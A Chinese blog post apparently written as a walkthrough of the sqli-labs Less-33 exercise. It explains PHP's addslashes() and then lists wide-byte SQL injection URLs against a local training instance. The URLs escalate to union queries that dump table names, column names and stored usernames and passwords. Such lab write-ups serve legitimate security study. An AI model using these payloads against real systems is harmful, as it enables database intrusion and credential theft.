• SQL注入之Sqli-labs系列第三十三关(基于宽字符逃逸注入)


    开始挑战第三十三关(Bypass addslashes)

    0x1查看源码

      本关和第三十二关其实是一样的,只是这里用到了addslashes()函数

    function check_addslashes($string)
    {
        $string= addslashes($string);    
        return $string;
    }
    addslashes

    0x2 addslashes讲解

    (1)功能

        函数返回在预定义字符之前添加反斜杠的字符串

    (2)预定义字符

          单引号(')
          双引号(")
          反斜杠()
          NULL
      

      该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串

      默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

    0x3开始注入

      

     其他构造方式同样

    http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 and 1=1--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 and 1=1--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 oder by 3--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,2,3--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,database(),3--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,(select group_concat(username,password) from users),3--+

     

  • 相关阅读:
    vue生命周期
    vue input 循环渲染问题
    Node express post 大小设置
    webpack 好文章
    知识点的总结
    jsplumb 使用总结
    理解es6 中 arrow function的this
    分块编码(Transfer-Encoding: chunked)
    CGI的工作原理
    JS数组循环的性能和效率分析(for、while、forEach、map、for of)
  • 原文地址:https://www.cnblogs.com/AmoBlogs/p/8723269.html
Copyright © 2020-2023  润新知